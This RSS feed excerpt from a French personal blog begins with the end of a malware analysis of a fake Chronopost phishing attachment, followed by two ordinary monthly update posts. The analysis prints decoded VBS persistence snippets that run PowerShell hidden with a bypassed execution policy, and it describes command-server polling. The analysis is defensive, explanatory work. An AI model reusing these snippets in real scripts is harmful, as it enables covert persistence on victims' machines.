&lt;li&gt;&lt;strong&gt;ASM&lt;/strong&gt;: &lt;code&gt;PowerShell -ExecutionPolicy RemoteSigned -Command &amp;quot;&lt;/code&gt; (suivi du contenu de &lt;code&gt;script&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;En réalité, on se retrouve donc à télécharger un nouveau script chez l&amp;rsquo;utilisateur Windows &lt;em&gt;Invité&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Si on analyse l&amp;rsquo;adresse depuis laquelle ce script va être téléchargé, on se rend compte que c&amp;rsquo;est depuis un &lt;strong&gt;site Wordpress&lt;/strong&gt; via un plugin nommé &lt;strong&gt;Ninja Forms&lt;/strong&gt;.
En regardant sur Internet, on se rend compte très vite que ce plugin a comporté de très grosses failles de sécurité corrigées depuis.&lt;/p&gt;
&lt;p&gt;On parle alors d&amp;rsquo;un site Wordpress qui n&amp;rsquo;a pas été mis à jour depuis un moment et sur lequel nos pirates stockent un de leurs &lt;strong&gt;scripts Powershell&lt;/strong&gt; (un autre langage de scripting principalement pour Windows).&lt;/p&gt;
&lt;h3 id=&#34;rappels-de-sécurité&#34;&gt;Rappels de sécurité&lt;/h3&gt;
&lt;p&gt;Encore une fois, &lt;strong&gt;mettez à jour vos services&lt;/strong&gt; exposés sur le net !
On entend souvent qu&amp;rsquo;il faut éviter Wordpress car c&amp;rsquo;est une usine à gaz et une source à problèmes.
Je dirai plutôt que c&amp;rsquo;est une source à problème pour ceux ne prenant pas le temps de faire les mises à jour.&lt;/p&gt;
&lt;p&gt;Maintenant, les mises à jours peuvent se faire automatiquement, c&amp;rsquo;est à la fois très positif et utile la majorité du temps.
Mais on aura bientôt des problèmes comme sur NPM ou des pirates réussissent à introduire du code malveillant et à sortir de nouvelles versions via des comptes Github ou autres ayant l&amp;rsquo;autorisation de le faire.&lt;/p&gt;
&lt;p&gt;Bref, on ne peut pas héberger soi-même des services web sans avoir conscience des risques et sans avoir un minimum de compétences sur ce sujet ainsi que du temps à y consacrer.&lt;/p&gt;
&lt;h2 id=&#34;le-deuxième-script&#34;&gt;Le deuxième script&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://paste.pofilo.fr/?4a182c2ef66ffe1c#DRnUE1H7HjT4bq9L2dq3RPnt5vsaZzGu5PhN5uqtj6Zr&#34;&gt;Voici le contenu&lt;/a&gt; du deuxième script alors téléchargé.&lt;/p&gt;
&lt;p&gt;Là, on voit clairement que le pirate essaie encore de masquer aux antivirus certaines actions, mais ça reste tout de même très explicite !&lt;/p&gt;
&lt;p&gt;On retrouve pour commencer quelques variables dont une adresse IP et un port.
Ensuite, on retrouve quelques fonctions puis l&amp;rsquo;appel de ces fonctions et notamment dans une boucle infinie.&lt;/p&gt;
&lt;p&gt;Je ne vais pas tout détailler, mais on commence par la fonction &lt;code&gt;inf&lt;/code&gt; qui va récupérer des informations telles que le nom de l&amp;rsquo;antivirus, l&amp;rsquo;adresse MAC ou encore des détails sur le système d&amp;rsquo;exploitation et sa version.&lt;/p&gt;
&lt;p&gt;Ensuite, on retrouve une fonction &lt;code&gt;install&lt;/code&gt; qui va écrire un nouveau script nommé &lt;code&gt;Windows10DecemberUpdate.vbs&lt;/code&gt;.
Si on décode la variable &lt;code&gt;startup&lt;/code&gt;, on trouve:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Set OBB = CreateObject(&amp;#34;WScript.Shell&amp;#34;)
OBB.Run &amp;#34;PowerShell -ExecutionPolicy RemoteSigned -File &amp;#34;+&amp;#34;%FILE%&amp;#34;,0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Avec &lt;code&gt;%FILE%&lt;/code&gt; qui est par la suite remplacé par &lt;code&gt;$PSCommandPath&lt;/code&gt; qui est en réalité le chemin courant.
Donc on va se retrouver avec un script (dont la plupart des gens vont croire qu&amp;rsquo;il est légitime car nécessaire pour que Windows fasse ses mises à jour) mais qui en réalité permet de lancer des scripts.&lt;/p&gt;
&lt;p&gt;Par la suite, on trouve une fonction &lt;code&gt;Get-AntivirusName&lt;/code&gt; qui est utilisée par la fonction &lt;code&gt;inf&lt;/code&gt; décrite précédemment.
La fonction suivante &lt;code&gt;Binary2String&lt;/code&gt; est une fonction inutilisée.
Oui, on retrouve du code mort, même dans un script de pirate !&lt;/p&gt;
&lt;p&gt;La fonction &lt;code&gt;POST&lt;/code&gt; suivante est intéressante, car elle permet d&amp;rsquo;envoyer des informations sur l&amp;rsquo;adresse IP et le port indiqué en haut du script.&lt;/p&gt;
&lt;p&gt;Pour finir, on se retrouve dans une boucle infinie &lt;code&gt;while($true)&lt;/code&gt; avec une attente entre chaque boucle via &lt;code&gt;[System.Threading.Thread]::Sleep(3000)&lt;/code&gt;.
En réalité, la boucle commence par &lt;strong&gt;envoyer une requête&lt;/strong&gt; via la fameuse fonction &lt;code&gt;POST&lt;/code&gt; pour ensuite réaliser une action différente selon ce que le serveur pirate aura répondu.&lt;/p&gt;
&lt;h3 id=&#34;cas-rf&#34;&gt;Cas &amp;ldquo;RF&amp;rdquo;&lt;/h3&gt;
&lt;p&gt;Dans ce cas, un script dont le nom et le contenu aura été répondu par le pirate va être écrit puis exécuté.
C&amp;rsquo;est donc une porte d&amp;rsquo;entrée supplémentaire pour notre pirate.&lt;/p&gt;
&lt;h3 id=&#34;cas-tr&#34;&gt;Cas &amp;ldquo;TR&amp;rdquo;&lt;/h3&gt;
&lt;p&gt;On trouve ici une variable encodée &lt;code&gt;StartupContent&lt;/code&gt; qui contient littéralement:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Set WshShell = CreateObject(&amp;#34;WScript.Shell&amp;#34;)
WshShell.Run &amp;#34;Powershell -ExecutionPolicy Bypass -File &amp;#34; + &amp;#34;%PT%&amp;#34;, 0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Ce bout de code va être transformé pour remplacer &lt;code&gt;%PT%&lt;/code&gt; par le chemin du script que l&amp;rsquo;on va voir juste après..
Enfin, ceci va être écrit dans un fichier nommé &lt;code&gt;WinLOGON.vbs&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;On a ensuite la variable &lt;code&gt;PsFileName&lt;/code&gt; qui correspond à un nom de fichier généré aléatoirement avec l&amp;rsquo;extension powershell.
Comme pour le cas précédent, on va écrire dans ce fichier &lt;code&gt;TargetPath&lt;/code&gt; le contenu renvoyé par le serveur du pirate.&lt;/p&gt;
&lt;p&gt;Tout ceci est ensuite exécuté.&lt;/p&gt;
&lt;h3 id=&#34;cas-exc-et-sc&#34;&gt;Cas &amp;ldquo;exc&amp;rdquo; et &amp;ldquo;Sc&amp;rdquo;&lt;/h3&gt;
&lt;p&gt;On reprend le même principe que le &lt;em&gt;cas &amp;ldquo;RF&amp;rdquo;&lt;/em&gt;, on crée un script que l&amp;rsquo;on remplit avec les données provenant du serveur pirate et on l&amp;rsquo;exécute.&lt;/p&gt;
&lt;p&gt;En résumé, je ne comprends pas vraiment pourquoi avoir différencié ces cas puisqu&amp;rsquo;ils font la même chose mais que c&amp;rsquo;est juste écrit différemment.&lt;/p&gt;
&lt;h2 id=&#34;mise-en-pratique&#34;&gt;Mise en pratique&lt;/h2&gt;
&lt;p&gt;Pour aller plus loin, j&amp;rsquo;ai développé des scripts pour envoyer des messages exactement dans le format attendu par le serveur du pirate.
J&amp;rsquo;ai également préparé de quoi faire des captures Wireshark et bloqué toutes les IP sauf celle du serveur pirate.
Et c&amp;rsquo;est parti, que la communication commence !&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai été déçu.
Oui, le serveur était bien opérationnel, mais il ne répondait que les &lt;em&gt;acknowledgement&lt;/em&gt; (message qui veut dire &lt;em&gt;&amp;ldquo;Oui, j&amp;rsquo;atteste avoir reçu ton message&amp;rdquo;&lt;/em&gt;).&lt;/p&gt;
&lt;figure &gt;
    &lt;a
        href=&#34;https://www.pofilo.fr/img/phishing/capture-wireshark.png&#34;
        data-title=&#34;Capture wireshark&#34;

        
            data-lightbox=&#34;3&#34;
        
    &gt;
        &lt;img 
            src=&#34;https://www.pofilo.fr/img/phishing/capture-wireshark.png&#34;
            loading=&#34;lazy&#34;
            class=&#34;pure-img&#34;
            
                alt=&#34;Capture wireshark&#34;
            
        &gt;
    &lt;/a&gt;
    
        &lt;figcaption&gt;
            Capture wireshark
        &lt;/figcaption&gt;
    
&lt;/figure&gt;


&lt;p&gt;J&amp;rsquo;ai essayé de jouer sur les paramètres comme la version de Windows ou le nom de l&amp;rsquo;antivirus dans la requête qui part au serveur.
Mais je n&amp;rsquo;ai jamais eu de réponse tombant dans un des cas du switch où le pirate nous demanderait de faire quelque-chose.&lt;/p&gt;
&lt;p&gt;Est-ce que le pirate demande à ses &lt;em&gt;ordinateurs&lt;/em&gt; (ce sont un peu les siens vu qu&amp;rsquo;il a le contrôle dessus) de miner des cryptomonnaies ?&lt;/p&gt;
&lt;p&gt;Est-ce qu&amp;rsquo;il les laisse dormir le temps d&amp;rsquo;avoir une cible sur laquelle faire une attaque par déni de service ?&lt;/p&gt;
&lt;p&gt;Est-ce qu&amp;rsquo;il cible une version précise de Windows/Antivirus pour installer un ransomware ? (c&amp;rsquo;est une sorte de virus qui va chiffrer tout votre disque dur pour demander une rançon pour le déchiffrer).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ce mystère restera donc entier !&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&#34;analyse-du-serveur-pirate&#34;&gt;Analyse du serveur pirate&lt;/h2&gt;
&lt;p&gt;À partir de son adresse IP, je n&amp;rsquo;ai fait qu&amp;rsquo;une seule chose, j&amp;rsquo;ai regardé ce que &lt;a href=&#34;https://www.shodan.io/&#34;&gt;Shodan&lt;/a&gt; avait à me dire.
Il s&amp;rsquo;agit donc d&amp;rsquo;un serveur tournant sur &lt;strong&gt;Windows Server 2012&lt;/strong&gt; (une vieille version donc) sur un VPS (un petit serveur privé).
A l&amp;rsquo;heure où j&amp;rsquo;écris ces lignes (2 mois après la réception du phishing et de mes premières analyses le soir même), le serveur est toujours opérationnel avec le port 1177 toujours ouvert.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;ailleurs, voici ce qu&amp;rsquo;il a répondu à la dernière requête des robots de Shodan:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: xxx, xx Nov 2021 xx:xx:xx GMT
Connection: close
Content-Length: 326

&amp;lt;!DOCTYPE HTML PUBLIC &amp;#34;-//W3C//DTD HTML 4.01//EN&amp;#34;&amp;#34;http://www.w3.org/TR/html4/strict.dtd&amp;#34;&amp;gt;
&amp;lt;HTML&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;TITLE&amp;gt;Bad Request&amp;lt;/TITLE&amp;gt;
&amp;lt;META HTTP-EQUIV=&amp;#34;Content-Type&amp;#34; Content=&amp;#34;text/html; charset=us-ascii&amp;#34;&amp;gt;&amp;lt;/HEAD&amp;gt;
&amp;lt;BODY&amp;gt;&amp;lt;h2&amp;gt;Bad Request - Invalid Verb&amp;lt;/h2&amp;gt;
&amp;lt;hr&amp;gt;&amp;lt;p&amp;gt;HTTP Error 400. The request verb is invalid.&amp;lt;/p&amp;gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Le serveur s&amp;rsquo;attend en effet à avoir des requêtes au format qu&amp;rsquo;on a pu voir précédemment.&lt;/p&gt;
&lt;p&gt;Enfin, pour revenir sur le port 1177, je n&amp;rsquo;ai rien trouvé d&amp;rsquo;ultra probant sur un logiciel l&amp;rsquo;utilisant et ayant pu avoir une faille de sécurité.
Je ne sais donc pas si ce serveur a lui-même été piraté comme le site Wordpress pour le premier script ou bien s&amp;rsquo;il appartient vraiment au pirate.
Au vu de la version du serveur, je partirai quand même sur la première hypothèse.&lt;/p&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Ce phishing est donc un &lt;strong&gt;faux mail de Chronopost&lt;/strong&gt; invitant à télécharger une pièce jointe nommée &lt;code&gt;Colis__xxxx.vbs&lt;/code&gt;.
Il faut ensuite que la personne clique sur ce lien pour que &lt;em&gt;la magie opère&lt;/em&gt;.
Ce n&amp;rsquo;est donc pas vraiment un très bon phishing, je pense que toute personne un minimum sensibilisée saura qu&amp;rsquo;il ne faut pas télécharger la pièce jointe, et encore moins l&amp;rsquo;ouvrir par la suite !&lt;/p&gt;
&lt;p&gt;De plus, on peut voir sur le premier script les &lt;em&gt;techniques d&amp;rsquo;offuscation&lt;/em&gt; pour que les antivirus laissent passer le script.
Par curiosité, j&amp;rsquo;ai fait le test (en remplaçant la vraie URL par une URL bidon comme dans le lien que j&amp;rsquo;ai partagé), et l&amp;rsquo;antivirus de base de Windows l&amp;rsquo;a immédiatement mis en quarantaine et reconnu comme un virus.&lt;/p&gt;
&lt;p&gt;On est pas en présence d&amp;rsquo;un phishing très sophistiqué, mais j&amp;rsquo;ai trouvé ce &lt;em&gt;petit jeu de rétro-ingénierie&lt;/em&gt; assez intéressant pour voir ce qui pouvait réellement se cacher derrière.&lt;/p&gt;
&lt;p&gt;Même si on a pas de certitudes sur le fameux dernier serveur, on sait que le site Wordpress était exploité par le pirate via une faille dans un plugin.
Ce genre de failles exploitées de la sorte rendent le véritable pirate beaucoup plus discret.&lt;/p&gt;
&lt;p&gt;Pour finir, pour ceux qui pensent que ce monde des virus n&amp;rsquo;est réservé qu&amp;rsquo;aux utilisateurs Windows, détrompez-vous, il existe par exemple un virus sur Linux capable d&amp;rsquo;exploiter les &lt;em&gt;cron jobs&lt;/em&gt; (système de tâches automatisées).
Vous pouvez en savoir plus &lt;a href=&#34;https://www.bleepingcomputer.com/news/security/new-linux-malware-hides-in-cron-jobs-with-invalid-dates/&#34;&gt;dans cet article&lt;/a&gt; et comme on peut le voir &lt;a href=&#34;https://www.reddit.com/r/linux/comments/9fg752/i_have_been_hacked_through_a_cronjob_mining/&#34;&gt;sur ce post Reddit&lt;/a&gt;, ce n&amp;rsquo;est pas nouveau !&lt;/p&gt;
</description>
                
                    <category>Informatique</category>
                
                    <category>Sécurité</category>
                
                    <category>Analyse</category>
                
            </item>
        
            <item>
                <title>[Pêle-mêle] Mon mois d&#39;octobre, en quelques actus</title>
                <link>https://www.pofilo.fr/post/2021/10/31-pele-mele-4/</link>
                <pubDate>Sun, 31 Oct 2021 00:00:00 +0000</pubDate>
                
                    <author>Pofilo</author>
                
                <guid>https://www.pofilo.fr/post/2021/10/31-pele-mele-4/</guid>
                <description>&lt;p&gt;Bonjour à tous,&lt;/p&gt;
&lt;p&gt;En ce dernier jour du mois d&amp;rsquo;octobre, voici pour moi l&amp;rsquo;occasion dans cet article de traiter différents sujets et notamment de quelques projets à venir.
Voici donc le 4ème article de la &lt;a href=&#34;https://www.pofilo.fr/tags/p%c3%aale-m%c3%aale/&#34;&gt;série Pêle-mêle&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id=&#34;mon-nouveau-pc-de-gamer&#34;&gt;Mon nouveau PC de gamer&lt;/h1&gt;
&lt;p&gt;Cela fait seulement 4 ans que j&amp;rsquo;ai acheté ma &lt;strong&gt;tour de Gamer&lt;/strong&gt;.
Mais à l&amp;rsquo;époque, je commençais à peine à travailler, j&amp;rsquo;avais donc pris du milieu de gamme en termes de prix.
Le problème dans ce domaine est que les besoins en performance évoluent très rapidement.
Dernièrement, j&amp;rsquo;étais alors bloqué par mon CPU qui n&amp;rsquo;étais plus assez puissant pour faire tourner les derniers jeux, même en faible qualité.&lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;époque, je m&amp;rsquo;étais dit que j&amp;rsquo;aurai juste à changer le processeur, mais ma carte mère n&amp;rsquo;est pas capable aujourd&amp;rsquo;hui de faire tourner un processeur plus puissant.
Si je voulais changer de CPU, il était alors également nécessaire de changer la carte mère, et donc probablement l&amp;rsquo;alimentation.&lt;/p&gt;
&lt;p&gt;Bref, ça faisait plusieurs mois que je regardais de temps en temps ce que je pouvais éventuellement faire en guise d&amp;rsquo;amélioration.&lt;/p&gt;
&lt;p&gt;Un autre point concerne mon temps de jeu, celui-ci diminue au fil des années et je n&amp;rsquo;ai pas envie de perdre ce précieux temps sur des problèmes parce que mon PC a du mal à faire tourner certains jeux ou pour la configuration d&amp;rsquo;un jeu.
De plus, j&amp;rsquo;aimerais avoir &lt;strong&gt;la meilleure expérience&lt;/strong&gt; pour ce temps de jeu qui est donc plus faible qu&amp;rsquo;auparavant.
J&amp;rsquo;ai maintenant envie de juste lancer le jeu et que ça marche, sans aucune bidouille.
J&amp;rsquo;ai même hésité à partir sur les consoles &lt;em&gt;next-gen&lt;/em&gt; (qui sont au final la génération actuelle maintenant !) mais les &lt;strong&gt;promos Steam&lt;/strong&gt; ou les jeux gratuits de toutes parts ne sont pas négligeables sur la balance finale !&lt;/p&gt;
&lt;p&gt;La pénurie de composants a rendu les prix très élevés, mais un soir, je me suis décidé et j&amp;rsquo;ai donc sélectionné des composants compatibles mais cette fois dans le haut de gamme.
J&amp;rsquo;ai donc choisi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une carte &lt;strong&gt;Geforce RTX 3070&lt;/strong&gt; (impossible de passer sur une 3080, les prix en deviennent absurdes)&lt;/li&gt;
&lt;li&gt;une carte mère &lt;strong&gt;MSI Z590 Wifi&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;un processeur &lt;strong&gt;Intel Core i9-11900K&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;un ventirad &lt;strong&gt;be quiet! Dark Rock Pro 4&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;une alimentation &lt;strong&gt;EVGA SuperNOVA 850 GA, 80 Plus Gold 850W&lt;/strong&gt; entièrement modulable&lt;/li&gt;
&lt;li&gt;des ventilateurs silencieux &lt;strong&gt;be quiet! Slient Wings 3 PWM&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ceux qui connaissent un petit peu ce domaine savent que j&amp;rsquo;ai cassé la tirelire pour les 3 premiers et surtout la carte graphique.
Mais là, j&amp;rsquo;espère tenir au moins 5-6 ans avant de commencer à me faire à l&amp;rsquo;idée de devoir faire tourner les jeux en &lt;em&gt;basse qualité&lt;/em&gt; graphique et de commencer à râler !&lt;/p&gt;
&lt;p&gt;Le montage du PC a été une étape assez intéressante à réaliser, j&amp;rsquo;avais acheté l&amp;rsquo;ancienne configuration déjà montée, mais cette fois-ci, ce n&amp;rsquo;est pas la même &lt;strong&gt;satisfaction&lt;/strong&gt; quand tout fonctionne du premier coup après plusieurs heures de montage !&lt;/p&gt;
&lt;p&gt;Qui dit PC de &lt;em&gt;gaming&lt;/em&gt; dit PC sous Windows (surtout que j&amp;rsquo;ai un volant pour le &lt;em&gt;simracing&lt;/em&gt;, une galère sans nom sous Linux), je suis donc parti sur une installation toute propre.
J&amp;rsquo;ai bien surveillé la température du processeur sur les premières heures, car c&amp;rsquo;est la première fois que je ne suis pas sur du watercooling.
De plus, j&amp;rsquo;avais un peu peur car je trouvais qu&amp;rsquo;il y avait un peu de jeu entre le processeur et le ventirad, mais finalement, je dépasse rarement les 70 degrés en usage intensif !&lt;/p&gt;
&lt;p&gt;Concernant les ventilateurs &lt;strong&gt;be quiet!&lt;/strong&gt;, leur faible bruit est incroyable (quand on voit le prix à l&amp;rsquo;unité, c&amp;rsquo;est peut-être la moindre des choses cela dit !), si vous en avez les moyens et également le besoin d&amp;rsquo;un PC plus silencieux, je vous les recommande !!&lt;/p&gt;
&lt;p&gt;Et enfin, pour toutes les anciennes pièces remplacées, j&amp;rsquo;ai déjà réussi à tout revendre sur leboncoin, je me suis rendu compte qu&amp;rsquo;il y a une belle demande de ce genre de matériel et ça ne va pas rester au fond d&amp;rsquo;un placard donc je suis content pour leur seconde vie :)&lt;/p&gt;
&lt;h1 id=&#34;projets-en-cours-et-à-venir&#34;&gt;Projets en cours et à venir&lt;/h1&gt;
&lt;h2 id=&#34;développement-dun-plugin-pour-traefik&#34;&gt;Développement d&amp;rsquo;un plugin pour Traefik&lt;/h2&gt;
&lt;p&gt;J&amp;rsquo;en parlais le &lt;a href=&#34;https://www.pofilo.fr/post/2021/09/28-pele-mele-3/&#34;&gt;mois dernier&lt;/a&gt;, je n&amp;rsquo;ai malheureusement pas eu le temps de continuer ce petit bout de développement &amp;hellip;
Mais j&amp;rsquo;ai pas mal d&amp;rsquo;idées, ça devrait se faire d&amp;rsquo;ici la fin de l&amp;rsquo;année ou en début d&amp;rsquo;année prochaine.&lt;/p&gt;
&lt;h2 id=&#34;analyse-dun-phishing&#34;&gt;Analyse d&amp;rsquo;un phishing&lt;/h2&gt;
&lt;p&gt;Il y a quelques semaines, j&amp;rsquo;avais analysé un phishing que j&amp;rsquo;avais reçu sur une de mes boîtes mail.
Finalement, il faudrait que j&amp;rsquo;&lt;strong&gt;organise mes notes&lt;/strong&gt; et que je mette ça &lt;strong&gt;au propre&lt;/strong&gt;, je trouve que c&amp;rsquo;est un sujet intéressant à partager ici.
En revanche, cet article va me demander du temps car je dois m&amp;rsquo;assurer de bien anonymiser tout ce que je vais publier.
De plus, comme j&amp;rsquo;aime bien le faire, l&amp;rsquo;article sera plus de la vulgarisation et accessible au plus grand nombre, cela demande encore plus de temps.&lt;/p&gt;
&lt;h2 id=&#34;une-lampe-connectée-via-mon-raspberry-pi&#34;&gt;Une lampe connectée via mon Raspberry Pi&lt;/h2&gt;
&lt;p&gt;J&amp;rsquo;ai dans ma chambre une ampoule Ikea que j&amp;rsquo;avais l&amp;rsquo;habitude de &lt;strong&gt;contrôler simplement avec sa télécommande&lt;/strong&gt;.
Maintenant, la télécommande &lt;strong&gt;communique avec mon Raspberry Pi (en Zigbee)&lt;/strong&gt; et le Raspberry Pi contrôle lui-même la lampe.
Cela me permet de réaliser les actions que je veux directement via la télécommande, c&amp;rsquo;est une sorte de &lt;strong&gt;hack&lt;/strong&gt; du système.
C&amp;rsquo;est là tout l&amp;rsquo;intérêt d&amp;rsquo;avoir des protocoles ouverts sur ces objets connectés.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;exprimerai mon besoin et la réalisation dans un futur article, mais j&amp;rsquo;ai encore quelques points de détails à peaufiner avant d&amp;rsquo;avoir un système qui fonctionne réellement comme je le souhaite.
On pourra aussi aborder le sujet des &lt;strong&gt;IoT&lt;/strong&gt; à savoir l&amp;rsquo;&lt;strong&gt;Internet of Things&lt;/strong&gt; (l&amp;rsquo;Internet des Objets) pour certains ou &lt;strong&gt;Internet of Shit&lt;/strong&gt; (l&amp;rsquo;Internet de &lt;em&gt;merde&lt;/em&gt;) pour d&amp;rsquo;autres, notamment du point de vue sécurité et gadget.&lt;/p&gt;
&lt;h2 id=&#34;une-station-météo-et-un-réveil&#34;&gt;Une station météo et un réveil&lt;/h2&gt;
&lt;p&gt;J&amp;rsquo;ai actuellement en tête 2 projets &lt;em&gt;Do It Yourself&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Premièrement, une station météo dont j&amp;rsquo;ai déjà le matériel depuis plusieurs années mais que j&amp;rsquo;ai du mal à faire avancer (je n&amp;rsquo;arrive pas à faire fonctionner un des composants et il faudrait que je trouve la motivation).&lt;/p&gt;
&lt;p&gt;Enfin, un réveil dont je n&amp;rsquo;ai pas encore trouvé le matériel ce que je recherche.
J&amp;rsquo;aimerais un écran qui puisse &lt;strong&gt;totalement s&amp;rsquo;éteindre la nuit&lt;/strong&gt; (je ne veux pas la moindre lumière !).
Je souhaiterais ensuite pouvoir le &lt;strong&gt;gérer depuis Home Assistant&lt;/strong&gt; pour le synchroniser avec mon ampoule Ikea au plafond.
Ça éviterait d&amp;rsquo;avoir à gérer une ampoule directement sur le réveil et j&amp;rsquo;aime bien me réveiller avec une lumière très douce et pas seulement avec un buzzer ou autre son.&lt;/p&gt;
&lt;p&gt;Bref, si vous avez des idées ou des retours pour un réveil de ce type, n&amp;rsquo;hésitez pas à me les partager :)&lt;/p&gt;
&lt;h2 id=&#34;mon-site-de-cuisine&#34;&gt;Mon site de cuisine&lt;/h2&gt;
&lt;p&gt;J&amp;rsquo;en parlais en conclusion du dernier article, mais la recette n&amp;rsquo;est toujours pas arrivée &amp;hellip;
Je vais essayer de me fixer une nouvelle règle, à savoir &lt;strong&gt;une recette tous les 2 mois&lt;/strong&gt;.
Pourquoi cela ? Parce que j&amp;rsquo;aime bien la cuisine et cela va me permettre de me motiver pour découvrir de nouvelles choses et les partager.&lt;/p&gt;
&lt;p&gt;Comme pour ce site, je n&amp;rsquo;ai pas envie de sortir des recettes pour sortir des recettes, la croûte aux champignons dont je parlais par exemple doit être retravaillée avant de mériter une publication !
Si j&amp;rsquo;estime que la qualité n&amp;rsquo;est pas au rendez-vous, ce rythme d&amp;rsquo;une recette tous les 2 mois ne sera donc pas tenu !&lt;/p&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Voilà qui conclue cet article, comme vous le voyez, j&amp;rsquo;ai pas mal de projets et d&amp;rsquo;idées en tête, mais il faut désormais les concrétiser.
On se retrouve le mois prochain pour l&amp;rsquo;&lt;strong&gt;article sur le phishing&lt;/strong&gt; avec un &lt;strong&gt;exemple concret&lt;/strong&gt;.&lt;/p&gt;
</description>
                
                    <category>Pêle-mêle</category>
                
                    <category>Informatique</category>
                
            </item>
        
            <item>
                <title>[Pêle-mêle] Mon mois de septembre, en quelques actus</title>
                <link>https://www.pofilo.fr/post/2021/09/28-pele-mele-3/</link>
                <pubDate>Tue, 28 Sep 2021 00:00:00 +0000</pubDate>
                
                    <author>Pofilo</author>
                
                <guid>https://www.pofilo.fr/post/2021/09/28-pele-mele-3/</guid>
                <description>&lt;p&gt;Bonjour à tous,&lt;/p&gt;
&lt;p&gt;Ce mois de septembre fut très chargé pour moi !
Je n&amp;rsquo;ai donc pas eu le temps de m&amp;rsquo;attarder longuement sur un sujet pour en faire un article dédié.
Mais c&amp;rsquo;est l&amp;rsquo;occasion pour moi de sortir le 3ème article de la &lt;a href=&#34;https://www.pofilo.fr/tags/p%c3%aale-m%c3%aale/&#34;&gt;série Pêle-mêle&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, on va parler de sauvegardes ainsi que de mes besoins spécifiques qui me poussent à développer un plugin pour Traefik.&lt;/p&gt;
&lt;h1 id=&#34;sauvegardes&#34;&gt;Sauvegardes&lt;/h1&gt;
&lt;h2 id=&#34;contexte&#34;&gt;Contexte&lt;/h2&gt;
&lt;p&gt;Mon serveur distant est sauvegardé par un script toutes les 12 heures.
Les fichiers sont copiés sur un disque dur dans mon appartement à l&amp;rsquo;aide du logiciel &lt;a href=&#34;https://fr.wikipedia.org/wiki/Rsync&#34;&gt;rsync&lt;/a&gt; puis sont archivés avec &lt;a href=&#34;https://borgbackup.readthedocs.io/en/stable/&#34;&gt;Borg&lt;/a&gt;.
Chaque dimanche, le script effectue également la commande &lt;code&gt;borg prune&lt;/code&gt; de façon &lt;strong&gt;à garder les archives&lt;/strong&gt; selon cette configuration:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Toutes les archives réalisées dans les 48 dernières heures.&lt;/li&gt;
&lt;li&gt;1 archive par jour sur les 7 derniers jours.&lt;/li&gt;
&lt;li&gt;1 archive par semaine sur les 4 dernières semaines.&lt;/li&gt;
&lt;li&gt;1 archive par mois &lt;em&gt;ad vitam æternam&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Cela me permet d&amp;rsquo;avoir une grande latitude si j&amp;rsquo;ai besoin de restaurer des données à une date spécifique tout faisant régulièrement le tri pour économiser de la place sur le disque.&lt;/p&gt;
&lt;p&gt;Point positif, &lt;strong&gt;Borg évite la duplication entre archives&lt;/strong&gt;.
Par exemple si au mois de janvier, j&amp;rsquo;ai un fichier de 2Go et qu&amp;rsquo;il reste intouché pendant toute l&amp;rsquo;année, à la fin, j&amp;rsquo;aurai 12 archives, mais le total occupé sur le disque pour ce fichier sera de 2Go.&lt;/p&gt;
&lt;h2 id=&#34;les-données-sauvegardées&#34;&gt;Les données sauvegardées&lt;/h2&gt;
&lt;p&gt;Tout d&amp;rsquo;abord, le script (bash) qui réalise les sauvegardes commence à vraiment dater.
À l&amp;rsquo;époque, tous les services présents sur le serveur étaient installés à la main et bichonnés &lt;em&gt;à l&amp;rsquo;ancienne&lt;/em&gt;.
Au moment de sauvegarder, je sélectionnais donc la racine du serveur à laquelle j&amp;rsquo;excluais quelques dossiers comme &lt;code&gt;/var/log&lt;/code&gt;, &lt;code&gt;/run&lt;/code&gt; ou &lt;code&gt;/tmp&lt;/code&gt; mais quand j&amp;rsquo;avais écrit le script, j&amp;rsquo;avais commenté le tout avec un &lt;em&gt;TODO&lt;/em&gt; qui recommandait de mieux choisir les dossiers.
Force est de constater que l&amp;rsquo;heure est venue de traiter ce &lt;em&gt;TODO&lt;/em&gt; !&lt;/p&gt;
&lt;p&gt;Bref, je me suis retrouvé par exemple à &lt;strong&gt;sauvegarder et archiver&lt;/strong&gt; &lt;code&gt;/var/lib&lt;/code&gt; sur plusieurs années.
Le souci est qu&amp;rsquo;il ne restait plus que 500Go sur les 3To du disque de sauvegarde, j&amp;rsquo;ai donc investigué et c&amp;rsquo;est là que je suis (re)tombé là-dessus.&lt;/p&gt;
